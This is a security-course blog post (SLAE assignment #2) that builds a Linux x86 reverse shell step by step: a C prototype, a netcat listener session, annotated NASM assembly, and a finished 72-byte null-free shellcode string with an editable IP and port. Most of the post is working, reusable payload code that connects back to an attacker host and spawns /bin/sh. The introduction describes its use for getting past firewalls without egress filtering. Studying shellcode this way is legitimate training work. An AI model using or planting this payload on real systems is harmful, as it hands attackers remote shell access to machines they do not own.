SLAE #2: Reverse Shell

This is the second post in the SLAE series. You can check the previous assignment here.

Assignment #2 consists in writing a reverse shell. This time the shellcode will connect back to the attacker instead of waiting for inbound connections. This is useful to bypass simple firewall configurations that don’t do egress filtering and gain access to machines behind public facing servers.

As in the previous post, let’s start with a simple C prototype that doesn’t do any error checking.

The program will create a socket, connect to a specific IP address and port, and spawn a shell.

#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

int main(void) {
    int sockfd;
    struct sockaddr_in serv_addr;
    
    sockfd = socket(AF_INET, SOCK_STREAM, 0);

    serv_addr.sin_family = AF_INET;
    serv_addr.sin_addr.s_addr = inet_addr("192.168.1.133");
    serv_addr.sin_port = htons(33333);

    connect(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr));

    dup2(sockfd, 0);
    dup2(sockfd, 1);
    dup2(sockfd, 2);

    char *argv[] = {"/bin/sh", NULL};

    execve(argv[0], argv, NULL);
}

Let’s use netcat to listen for incoming connections.

$ nc -lvp 33333
listening on [any] 33333 ...

Compile and run the C program.

$ gcc -o reverse_shell reverse_shell.c
$ ./reverse_shell

The program will connect back to 192.168.1.133 and spawn a shell.

listening on [any] 33333 …
connect to [192.168.1.133] from (UNKNOWN) [192.168.1.141] 51887
id
uid=1000(maxi) gid=1000(maxi) groups=1000(maxi),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),124(sambashare)
whoami
maxi
pwd
/home/maxi/Desktop

The list of relevant system calls can be obtained from /usr/include/i386-linux-gnu/asm/unistd_32.h.

#define __NR_execve 11
#define __NR_dup2 63
#define __NR_socketcall 102

As described in the previous post, socket-related syscalls are multiplexed through the socketcall(2) syscall on x86–32. The identifier for SYS_CONNECT is 3 (it can be found in the /usr/include/linux/net.h file).

It took several tries to get a working shellcode that is small enough (there are several samples in shell-storm.org to get an idea of the approximate sizes), but I’m happy with the result.

The final shellcode is 72 bytes long. It favors single byte instructions and register reuse where possible. It also takes advantage of the fact that execve("/bin/sh", NULL, NULL) works on Linux, although the second argument should be ["/bin/sh", NULL] by convention.

global _start           

section .text

_start:
    ; socket(AF_INET, SOCK_STREAM, 0);
    push 0x66           ; socketcall()
    pop eax
    cdq                 ; zero out edx
    push edx            ; protocol
    inc edx
    push edx            ; SOCK_STREAM
    mov ebx, edx        ; socket()
    inc edx
    push edx            ; AF_INET
    mov ecx, esp        ; load address of the parameter array
    int 0x80            ; call socketcall()

    ; dup2()
    xchg ebx, eax       ; store sockfd in ebx
    mov ecx, edx        ; initialize counter to 2
    loop:
        mov al, 0x3f    
        int 0x80
        dec ecx
        jns loop

    ; connect(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr));
    mov al, 0x66        ; socketcall()
    xchg ebx, edx       ; ebx=2, edx=sockfd
    push 0x8501A8C0     ; 192.168.1.133
    push word 0x3582    ; port
    push word bx        ; AF_INET   
    inc ebx             ; connect() -> 3
    mov ecx, esp        ; point to the structure
    push 0x10           ; sizeof(struct sockaddr_in)
    push ecx            ; &serv_addr
    push edx            ; sockfd
    mov ecx, esp        ; load address of the parameter array
    int 0x80            ; call socketcall()

    ; execve("/bin/sh", NULL , NULL);
    push 0xb            ; execve()
    pop eax
    cdq                 ; zero out edx
    mov ecx, edx        ; zero out ecx
    push edx            ; push null bytes (terminate string)
    push 0x68732f2f     ; //sh
    push 0x6e69622f     ; /bin
    mov ebx, esp        ; load address of /bin/sh
    int 0x80            ; call execve()

Assemble and link it.

$ nasm -f elf32 -o reverse_shell.o reverse_shell.nasm
$ ld -z execstack -o reverse_shell reverse_shell.o

Inspecting the binary with objdump -d -M intel shows that there are no null bytes. We can use some command line fu to extract the opcodes.

#include <stdio.h>
#include <string.h>

unsigned char code[] = \
"\x6a\x66\x58\x99\x52\x42\x52\x89\xd3\x42\x52\x89\xe1\xcd\x80\x93\x89\xd1\xb0"
"\x3f\xcd\x80\x49\x79\xf9\xb0\x66\x87\xda\x68"
"\xc0\xa8\x01\x85"  // <— ip address
"\x66\x68"
"\x82\x35"          // <— port
"\x66\x53\x43\x89\xe1\x6a\x10\x51\x52\x89\xe1\xcd\x80\x6a\x0b\x58\x99\x89\xd1"
"\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80";

int main(void) {
    printf("Shellcode Length:  %d\n", strlen(code));
    int (*ret)() = (int(*)())code;
    ret();
}

The IP address and port have been called out so they can be easily changed. Keep in mind that they should not contain null bytes (0x00).

The code needs to be compiled with an executable stack, so some specific gcc flags need to be set at compile time.

$ gcc -z execstack -o shellcode shellcode.c

The code for this assignment is also available on my Github repository.

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-­651

Advertisements

3 thoughts on “SLAE #2: Reverse Shell”

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s